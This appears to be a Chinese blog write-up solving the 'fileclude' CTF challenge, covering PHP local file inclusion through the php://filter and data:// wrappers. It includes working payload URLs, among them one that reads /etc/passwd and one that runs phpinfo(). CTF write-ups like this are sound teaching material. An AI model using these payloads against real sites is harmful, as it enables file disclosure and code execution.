攻防世界fileclude

先分析源码,已知有include,那肯定是文件包含漏洞了,当前页面有flag.php,漏洞在file1上,我们要让file2为hello ctf同时file1不为空(为flag.php)就能输出.

这是菜鸟教程里关于file_get_contents()函数的解释

 

我们有两个目标:

1.file1包含flag.php

2.file2包含hello ctf

我们已知:

flag.php就在当前网页下,

hello ctf就是普通的字符串

那么我这里给出两个伪协议来使用:

1.php:
php://伪协议,主要为php://input与php://filter
php://input:将POST输入流当做PHP代码执行。其只受allow_url_include参数的影响,allow_url_fopen开关与此伪协议无关。

php://filter伪协议:不受   allow_url_fopen与allow_url_include参数的影响

http://127.0.0.1/vulnerabilities/fi/?page=php://filter/resource=./1.txt    相对路径
http://127.0.0.1/vulnerabilities/fi/?page=php://filter/resource=file:///C:\DVWA-master\vulnerabilities\fi\1.txt    绝对路径
http://127.0.0.1/FI/LFI.php?file=php://filter/resource=file:///etc/passwd

此协议主要用于读取php源代码时会用到
http://127.0.0.1/vulnerabilities/fi/?page=php://filter/read=convert.base64-encode/resource=./1.txt            以base64编码将文件内容输出

看来php://filter很适合读取php源代码,这题中的flag.php就是源代码,我们的目标1就很适合用这个试试看

2.data:
allow_url_fopen: on             allow_url_include: on

http://127.0.0.1/vulnerabilities/fi/?page=data://test/plain,<?php phpinfo();?>
http://127.0.0.1/vulnerabilities/fi/?page=data://test/plain;base64,PD9waHAgcGhwaW5mbygpPz4=

我们要求的是===三个等于,就必须要保证一模一样,data上面那个就很适合我们使用

http://61.147.171.105:57424/?file1=php://filter/read=convert.base64-encode/resource=flag.php&file2=data://text/plain,hello%20ctf

解码得到flag

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值